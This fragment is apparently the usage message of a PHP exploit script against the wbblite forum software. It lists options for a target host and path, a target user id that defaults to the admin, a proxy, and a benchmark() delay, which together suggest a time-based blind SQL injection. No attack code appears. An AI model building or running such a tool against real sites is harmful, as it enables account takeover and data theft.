Usage: php '.$argv[0].' host path OPTIONS
host:      target server (ip/hostname)
path:      path to wbblite
Options:
 -u[userid]:  specify the userid of your target (default: 1, admin)
 -p[port]:       " a port other than 80
 -P[ip:port]:    " a proxy
 -t[n]:       adjust query timeout (default: 10)
 -b[n]:          " the delay for benchmark()
